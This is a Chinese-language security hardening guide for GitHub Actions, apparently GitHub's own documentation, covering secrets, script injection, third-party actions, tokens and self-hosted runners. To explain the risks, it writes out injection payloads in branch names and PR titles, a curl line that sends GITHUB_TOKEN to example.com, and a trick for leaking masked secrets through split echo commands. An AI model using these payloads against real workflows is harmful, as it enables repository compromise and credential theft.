Skip to main content

GitHub Actions 的安全强化

使用 GitHub Actions 功能的良好安全实践。

概述

本指南介绍如何为某些 GitHub Actions 功能配置安全强化。 如果不熟悉 GitHub Actions 概念,请参阅“了解 GitHub Actions”。

使用机密

敏感值绝不能以明文存储在工作流程文件中,而应存储为密码。 机密可在组织、存储库或环境级进行配置,使你可在 GitHub 中存储敏感信息。

机密使用 Libsodium 密封箱,以使其在到达 GitHub 前被加密。 当使用 UI 或通过 REST API 提交机密时会发生这种情况。 此客户端加密有助于最大程度地减少与 GitHub基础架构中的意外日志记录相关的风险(例如,异常日志和请求日志等)。 密钥在上传后,GitHub 可对其进行解密,以便它能够被注入工作流程运行时。

为了帮助防止意外泄露,GitHub 使用一种机制尝试对运行日志中显示的任何密码进行编校。 此编辑会寻找作业使用的任何已配置机密的精确匹配项,以及值的常见编码,如 Base64。 但是,由于密码值可以通过多种方式转换,因此不能保证此编校。 此外,运行器只能对当前作业使用的机密进行编辑。 因此,你应该采取某些积极主动的步骤和良好的做法,以帮助确保密码得到编校, 并限制与密码相关的其他风险:

  • 切勿将结构化数据用作机密
    • 结构化数据可能导致日志中的密码编校失败,因为编校很大程度上取决于查找特定密码值的完全匹配项。 例如,不要使用 JSON、XML 或 YAML(或类似)的 Blob 来封装密码值,否则会显著降低密码被正确编校的可能性。 而应为每个敏感值创建单独的密码。
  • 注册工作流中使用的所有机密
    • 如果机密用于生成工作流中的另一敏感值,则该生成值应正式注册为机密,以便在它出现在日志中时对其进行编辑。 例如,如果使用私钥生成签名的 JWT 来访问 Web API,请确保将该 JWT 注册为密码,否则,如果它进入日志输出,则不会得到编校。
    • 注册密码也适用于任何类型的转换/编码。 如果以某种方式(如 Base64 或 URL 编码)转换您的密码,请确保将新值也注册为密码。
  • 审核机密的处理方式
    • 审核密码的使用方式,以帮助确保按预期方式处理密码。 您可以通过检查执行工作流程的仓库的源代码并检查工作流程中使用的任何操作来进行审核。 例如,确认它们未发送到非预期主机,或明确打印到日志输出。
    • 在测试有效/无效输入后查看工作流程的运行日志,并确认密码已正确编校或未显示。 调用的命令或工具向 STDOUTSTDERR 发送错误的方式并不总是很明显,并且机密随后可能会出现在错误日志中。 因此,在测试有效和无效的输入后,最好是手动查看工作流程日志。 有关如何清理可能无意中包含敏感数据的工作流日志的信息,请参阅“使用工作流运行日志”。
  • 使用最小范围的凭据
    • 确保工作流程中使用的凭据具有所需的最小权限,并请注意,任何对仓库具有写入权限的用户都可访问仓库中配置的所有密码。
    • Actions 可以从 github.token 上下文访问 GITHUB_TOKEN 来使用它。 有关详细信息,请参阅“上下文”。 因此,应确保向 GITHUB_TOKEN 授予所需的最低权限。 将 GITHUB_TOKEN 的默认权限设置为只读取存储库内容是良好的安全做法。 然后可以根据需要增加工作流程文件中个别任务的权限。 有关详细信息,请参阅“自动令牌身份验证”。
  • 审核并轮换已注册机密
    • 定期查查已注册的密码,以确认它们仍是必需的。 删除不再需要的密码。
    • 定期轮换密码,以减小泄露的密码有效的时间窗。
  • 考虑要求对访问机密进行审查

警告:对存储库具有写入访问权限的任何用户都有权读取存储库中配置的所有机密。 因此,应确保工作流中使用的凭据具有所需的最低权限。

使用 CODEOWNERS 监视更改

可以使用 CODEOWNERS 功能来控制更改工作流文件的方式。 例如,如果所有的工作流文件都存储在 .github/workflows 中,可以将此目录添加到代码所有者列表,这样对这些文件的任何拟议更改都首先需要得到指定的审查者的批准。

有关详细信息,请参阅“关于代码所有者”。

了解脚本注入的风险

创建工作流、自定义操作复合操作操作时,应始终考虑代码是否可能执行来自攻击者的不受信任的输入。 当攻击者将恶意命令和脚本添加到上下文时可能发生这种情况。 当您的工作流程运行时,这些字符串可能会被解释为代码,然后在运行器上执行。

攻击者可以将其自己的恶意内容添加到 github 上下文中,这应被视为潜在的不受信任的输入。 这些上下文通常以 bodydefault_branchemailhead_reflabelmessagenamepage_namereftitle 结尾。 例如:github.event.issue.titlegithub.event.pull_request.body

您应该确保这些值不会直接流入工作流程、操作、API 调用,或任何可能被解释为可执行代码的其它地方。 通过采用您将用于任何其他特权应用程序代码的相同防御编程姿态,,您可以帮助安全保护 GitHub Actions 的使用。 若要了解攻击者可能采取的某些步骤,请参阅“GitHub Actions 的安全强化”。

此外,还有其他不太明显的潜在不信任输入来源,如分支名称和电子邮件地址,这些输入在允许的内容方面可能相当灵活。 例如,zzz";echo${IFS}"hello";# 将是一个有效的分支名称,并将成为目标存储库可能的攻击途径。

以下部分解释了如何帮助降低脚本注入的风险。

脚本注入攻击示例

脚本注入攻击可直接发生在工作流程的内联脚本中。 在下列示例中,操作使用表达式来测试拉取请求标题的有效性,但也增加了脚本注入的风险:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

此示例易受脚本注入的影响,因为 run 命令在运行器的临时 shell 脚本中执行。 在 shell 脚本运行之前,${{ }} 内的表达式被评估后替换为结果值,这使它易受 shell 命令注入的攻击。

要将命令注入此工作流,攻击者可以创建标题为 a"; ls $GITHUB_WORKSPACE" 的拉取请求:

编辑模式下拉取请求标题的屏幕截图。 已在字段中输入新标题:a"; ls $GITHUB_WORKSPACE"。

在此示例中," 字符用于中断 title="${{ github.event.pull_request.title }}" 语句,允许在运行器上执行 ls 命令。 可以在日志中看到 ls 命令的输出:

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

减少脚本注入攻击的良好做法

有许多不同的方法可以帮助您降低脚本注入的风险:

建议的方法是创建一个 JavaScript 操作,将上下文值作为参数处理。 此方法不易受到注入攻击,因为上下文值不用于生成 shell 脚本,而是作为参数传递给该操作:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

使用中间环境变量

对于内联脚本,处理不信任输入的首选方法是将表达式的值设置为中间环境变量。

以下示例使用 Bash 将 github.event.pull_request.title 值处理为环境变量:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

在此示例中,尝试的脚本注入失败,日志中的以下行反映了这一点:

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

使用此方法,${{ github.event.issue.title }} 表达式的值存储在内存中用作变量,并且不与脚本生成过程交互。 此外,考虑使用双引号 shell 变量来避免单词拆分,但这是写入 shell 脚本的众多一般建议之一,并且不是专门针对 GitHub Actions 的。

使用入门工作流程进行代码扫描

注意:Advanced Security 的初始工作流已合并到存储库的“操作”选项卡中的“安全”类别中。 这种新配置目前处于 beta 版本,可能会有变动。

Code scanning 可让你在安全漏洞到达生产环境之前发现这些漏洞。 GitHub 为 code scanning 提供了入门工作流程。 您可以使用这些建议的工作流程来构建 code scanning 工作流程,而不是从头开始。 GitHub 的工作流 CodeQL 分析工作流程 由 CodeQL 提供支持。 还有第三方入门工作流程可用。

有关详细信息,请参阅“关于代码扫描”和“配置代码扫描的高级设置”。

限制令牌权限

为了帮助降低暴露令牌的风险,请考虑限制分配的权限。 有关详细信息,请参阅“自动令牌身份验证”。

使用 OpenID Connect 访问云资源

如果 GitHub Actions 工作流需要访问支持 OpenID Connect (OIDC) 的云提供商提供的资源,则可以将工作流配置为直接向云提供商进行身份验证。 这样就可以停止将这些凭据存储为长期存在的机密,并提供其他安全优势。 有关详细信息,请参阅“关于使用 OpenID Connect 进行安全强化”。

注意:**** AWS 不支持 OIDC 的自定义声明。

使用第三方操作

工作流程中的个别作业可以与其他作业相互作用(和妥协)。 例如,查询以后作业使用的环境变量,将文件写入以后作业处理的共享目录,或者更直接地与 Docker 套接字接交互,以及检查其他正在运行的容器并执行其中的命令。

这意味着工作流中单一操作的泄露可能很严重,因为这个泄露的操作可以访问存储库中配置的所有机密,并且可以使用 GITHUB_TOKEN 写入存储库。 因此,从 GitHub 上的第三方仓库获取操作的风险很大。 若要了解攻击者可能采取的某些步骤,请参阅“GitHub Actions 的安全强化”。

您可以遵循以下良好做法来帮助降低此风险:

  • 将操作固定到全长提交 SHA

    将操作固定到全长提交 SHA 是当前将操作用作不可变版本的唯一方法。 固定到特定 SHA 有助于降低恶意执行者向操作仓库添加后门的风险,因为他们需要为有效的 Git 对象负载生成 SHA-1 冲突。 选择 SHA 时,应验证它是否来自操作的存储库,而不是存储库分支。

  • 审核操作的源代码

    确保操作按照预期处理仓库和密码的内容。 例如,确认密码未发送到非预期主机,或者没有被无意中记录。

  • 仅当信任创建者时,才将操作固定到标记

    尽管固定到提交 SHA 是最安全的选项,但指定标记更方便,而且被广泛使用。 如果要指定标记,请确保信任该操作的创建者。 GitHub Marketplace 上的“已验证创建者”徽章是一个有用的信号,因为它表示该操作是由其身份已被 GitHub 验证的团队编写的。 请注意,即使您信任作者,这种方法也存在风险,因为如果恶意执行者获得对存储操作的仓库的访问权限,便可移动或删除标记。

重新使用第三方工作流程

上述使用第三方操作的相同原则也适用于使用第三方工作流程。 通过遵循上述相同的良好做法,您可以帮助降低与重用工作流程相关的风险。 有关详细信息,请参阅“重新使用工作流”。

使用 Dependabot version updates 使操作保持最新

可使用 Dependabot 来确保对存储库中使用的操作 和可重用工作流 的引用保持最新。 操作通常使用漏洞修复和新功能进行更新,以使自动化流程更快速、更安全、更可靠。 Dependabot 使你无需维护依赖项,因为其会自动执行此操作。 有关详细信息,请参阅“使用 Dependabot 保持操作的最新状态”和“关于 Dependabot 安全更新”。

防止 GitHub Actions 创建或审批拉取请求

可选择允许或阻止GitHub Actions工作流创建或审批拉取请求。 如果在没有适当监督的情况下合并拉取请求,则允许工作流或任何其他自动化创建或审批拉取请求可能会带来安全风险。

若要详细了解如何配置此设置,请参阅“禁用或限制组织的 GitHub Actions”和“管理存储库的 GitHub Actions 设置”。

使用 OpenSSF 记分卡保护工作流程

记分卡是一种自动化安全工具,可标记有风险的供应链做法。 可以使用记分卡操作入门工作流来遵循最佳安全做法。 配置完成后,记分卡操作将根据存储库更改自动运行,并使用内置的代码扫描体验提醒开发人员有关有风险的供应链做法。 记分卡项目运行许多检查,包括脚本注入攻击、令牌权限和固定操作。

受损运行器的潜在影响

这些部分考虑了当攻击者能够对 GitHub Actions 运行器运行恶意命令时可以采取的一些步骤。

注意:GitHub 托管的运行器不会扫描用户在其作业期间下载的恶意代码,例如遭到入侵的第三方库。

访问密钥

使用 pull_request 事件从复刻的仓库触发的工作流具有只读权限,不能访问机密。 但是,这些权限因各种事件触发因素(如 issue_commentissuespushpull_request)与仓库内的分支不同,攻击者可能试图窃取仓库机密或使用作业的 GITHUB_TOKEN 的写入权限。

  • 如果机密或令牌设置为环境变量,可以使用 printenv 通过环境直接进行访问。

  • 如果在表达式中直接使用密钥,生成的 shell 脚本将存储在磁盘上,并且可以访问。

  • 对于自定义操作,风险可能因程序如何使用从参数中获取的密钥而异:

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

虽然 GitHub Actions 会从工作流(或包含的操作)中未引用的内存中清除机密,但 GITHUB_TOKEN 和任何引用的机密均可被顽强的攻击者获取。

泄露运行器中的数据

攻击者可以从运行器泄露任何被盗的密钥或其他数据。 为了帮助防止意外的机密泄露,GitHub Actions 自动编辑打印到日志的机密,但这不是一个真正的安全边界,因为可以有意图地将机密发送到日志。 例如,可使用 echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; 来泄露经过模糊处理的机密。 此外,由于攻击者可能运行任意命令,他们可以使用 HTTP 请求将机密或其他仓库数据发送到外部服务器。

窃取作业的 GITHUB_TOKEN

攻击者有可能窃取作业的 GITHUB_TOKEN。 GitHub Actions 运行器自动接收生成的 GITHUB_TOKEN,权限仅限于包含工作流的存储库,令牌在作业完成后过期。 一旦过期,令牌对攻击者不再有用。 为解决此限制,他们可以通过调用带有令牌的攻击者控制的服务器(例如:a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#)来自动执行攻击并在几分之一秒内完成攻击。

修改仓库的内容

如果 GITHUB_TOKEN 分配的权限不受限制,则攻击者服务器可以使用 GitHub API 修改存储库内容(包括版本)。

考虑跨仓库访问

GitHub Actions 的范围有意设为每次一个仓库。 GITHUB_TOKEN 授予与写入访问用户相同的访问权限,因为任何写入访问用户都可以通过创建或修改工作流文件来访问此令牌,在必要时提升 GITHUB_TOKEN 的权限。 用户对每个存储库都有特定权限,因此,如果不谨慎实施,一个存储库的 GITHUB_TOKEN 授予对另一个存储库的访问权限将会影响 GitHub 权限模型。 同样,在向工作流程添加 GitHub 授权令牌时也必须谨慎,因为这也会因无意中向协作者授予一般权限而影响 GitHub 权限模型。

如果你的组织归企业帐户所有,则可以通过将 GitHub Actions 存储在内部存储库中来共享和重复使用它们。 有关详细信息,请参阅“与企业共享操作和工作流”。

可以通过引用 GitHub 身份验证令牌或 SSH 密钥作为工作流中的密码,执行其他特权跨存储库交互。 由于许多身份验证令牌类型不允许对特定资源进行细致的访问,因此使用错误的令牌类型存在很大风险,因为它可以授予比预期范围更广泛的访问。

此列表描述建议用于在工作流程中访问仓库数据的方法,按优先顺序降序排列:

  1. GITHUB_TOKEN
    • 此令牌的范围有意设为调用工作流程的单个仓库,并且具有与仓库具有写入访问用户相同的访问级别。 令牌在每个作业开始之前创建,在作业完成时过期。 有关详细信息,请参阅“自动令牌身份验证”。
    • 应尽可能使用 GITHUB_TOKEN
  2. 存储库部署密钥
    • 部署密钥是唯一授予对单个存储库的读取或写入访问权限的凭据类型之一,可用于与工作流程中的另一个仓库进行交互。 有关详细信息,请参阅“管理部署密钥”。
    • 请注意,部署密钥只能使用 Git 克隆和推送到仓库,不能用于与 REST 或 GraphQL API 进行交互,因此它们可能不适合您的要求。
  3. GitHub App 令牌
  4. personal access tokens
    • 切勿使用personal access token (classic)。 这些令牌授予对有权访问的组织内的所有存储库以及个人帐户中的所有个人存储库的访问权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。
    • 如果使用personal access token,则切勿通过自己的帐户使用personal access token。 如果你之后离开组织,使用此令牌的工作流将立即中断,而且调试此问题可能具有挑战性。 你应该转而为属于你的组织的新帐户使用fine-grained personal access tokens,该令牌仅向工作流需要的特定存储库授予访问权限。 请注意,此方法不可扩展,应避免采用其他方法,例如部署密钥。
  5. 个人帐户上的 SSH 密钥
    • 工作流不应使用个人帐户上的 SSH 密钥。 与personal access tokens (classic)类似,它们授予对所有个人存储库及你通过组织成员资格访问的所有存储库的读/写权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 如果您打算使用 SSH 密钥,因为您只需要执行仓库克隆或推送,并且不需要与公共 API 交互,则应该使用单独的部署密钥。

GitHub 托管的运行器强化

GitHub 托管的运行器会采取措施,帮助降低安全风险。

查看 GitHub 托管运行器的供应链

你可查看软件物料清单 (SBOM),了解在工作流运行期间使用的 GitHub 托管运行器映像上预安装了哪些软件。 你可为用户提供 SBOM,他们可通过漏洞扫描程序运行 SBOM 来验证产品是否存在任何漏洞。 如果要生成项目,可将此 SBOM 包含在物料清单中,以获取创建软件所需的所有内容的完整列表。

SBOM 可用于 Ubuntu、Windows 和 macOS 运行器映像。 可在 https://github.com/actions/runner-images/releases 处的版本资产中找到适用于你的生成的 SBOM。 文件名格式为 sbom.IMAGE-NAME.json.zip 的 SBOM 可在每个版本的附件中以找到。

拒绝访问主机

GitHub 托管的运行器预配有 etc/hosts 文件,可阻止对各种加密货币挖掘池和恶意站点的网络访问。 MiningMadness.com 和 cpu-pool.com 等主机会重新路由到 localhost,因此它们不会带来重大安全风险。 有关详细信息,请参阅“使用 GitHub 托管的运行器”。

自托管运行器的强化

GitHub 托管的运行器在临时和干净的隔离虚拟机中执行代码,这意味着无法持续对此环境造成损害,否则将在启动过程中获取对于超出此环境信息的访问权限。

自托管运行器不能保证在临时干净的虚拟机中运行,并且可能会持续受到工作流中不受信任的代码的损害。

因此,自托管的运行器几乎永远不能用于 GitHub 上的公共存储库,因为任何用户都可以打开针对存储库的拉取请求并对环境造成损害。 同样,在专用或内部存储库上使用自托管运行器时要谨慎,因为任何可以创建存储库分支并打开拉取请求的人(通常是那些对存储库具有读取访问权限的人)都能够损害自托管运行器环境,包括获得对机密和 GITHUB_TOKEN 的访问权限,根据其设置,可以授予对存储库的写入权限。 尽管工作流程可以通过使用环境和必需的审查来控制对环境密钥的访问,但是这些工作流程不是在隔离的环境中运行,在自托管运行程器上运行时仍然容易遭受相同的风险。

组织所有者可以选择允许哪些存储库创建存储库级别的自托管运行器。 。

有关详细信息,请参阅“禁用或限制组织的 GitHub Actions”。

在组织或企业级别定义自托管运行器时, GitHub 可将多个仓库中的工作流程安排到同一个运行器中。 因此,这些环境的安全危害可能会导致广泛的影响。 为了帮助缩小损害范围,可以通过将自托管运行器组织到单独的组中来创建边界。 你可以限制访问运行器组的组织和存储库。 有关详细信息,请参阅“使用组管理对自托管运行程序的访问”。

您还应考虑自托管运行器机器的环境:

  • 配置为自托管运行器的计算机上存储哪些敏感信息? 例如,私有 SSH 密钥、API 访问令牌等。
  • 计算机是否可通过网络访问敏感服务? 例如,Azure 或 AWS 元数据服务。 此环境中的敏感信息量应保持在最低水平,您应该始终注意,任何能够调用工作流程的用户都有权访问此环境。

某些客户可能会尝试通过实施在每次作业执行后自动销毁自托管运行器的系统来部分降低这些风险。 但是,此方法可能不如预期有效,因为无法保证自托管运行器只运行一个作业。 有些任务将使用机密作为命令行参数,可以在同一运行器上的另一个任务中看到,例如 ps x -w。 这可能导致秘密泄露。

使用实时运行器

若要提高运行器注册安全性,可以使用 REST API 创建临时的实时 (JIT) 运行器。 这些自托管运行器在自动从存储库、组织或企业中删除之前,最多执行一项作业。 有关配置 JIT 运行器的详细信息,请参阅“自托管运行器的 REST API 终结点”。

注意:重新使用硬件托管 JIT 运行器可能会暴露来自环境的信息。 使用自动化来确保 JIT 运行器使用干净的环境。 有关详细信息,请参阅“使用自托管运行器自动缩放”。

从 REST API 响应获取配置文件后,可以在启动时将其传递给运行器。

./run.sh --jitconfig ${encoded_jit_config}

为自托管运行器规划管理策略

可以将自托管运行器添加到 GitHub 层次结构中的各个级别:企业、组织或存储库级别。 此布置决定了谁将能够管理运行器:

集中式管理:

  • 如果您计划让一个集中的团队拥有自托管的运行器,则建议在最高的相互组织或企业级别添加您的运行器。 这为您的团队提供了一个位置来查看和管理您的运行器。
  • 如果您只有一个组织,那么在组织级别添加运行器实际上是相同的方法,但如果将来添加另一个组织,则可能会遇到困难。

分散管理:

  • 如果每个团队将管理自己的自托管运行器,则建议将运行器添加到团队所有权的最高级别。 例如,如果每个团队都拥有自己的组织,那么在组织级别添加运行器是最简单的。
  • 您还可以在存储库级别添加运行器,但这会增加管理开销,并且还会增加所需的运行器数量,因为您无法在存储库之间共享运行器。

向云提供商进行身份验证

如果您使用 GitHub Actions 部署到云提供商,或者打算使用 HashiCorp Vault 进行机密管理,则建议您考虑使用 OpenID Connect 为工作流程运行创建短期、范围得当的访问令牌。 有关详细信息,请参阅“关于使用 OpenID Connect 进行安全强化”。

审核 GitHub Actions 事件

可以使用安全日志监视用户帐户活动,并使用审核日志监视组织中的活动。 安全和审核日志记录操作类型、操作的运行时间以及执行操作的个人帐户。

例如,可使用审核日志跟踪 org.update_actions_secret 事件,这些事件跟踪组织机密的更改。

显示在组织的审核日志中搜索“action:org.update_actions_secret”的屏幕截图。 两条结果详细说明了对用于所选存储库的两个机密的 API 更新。

有关可在审核日志中找到的每种帐户类型的完整事件列表,请参阅以下文章: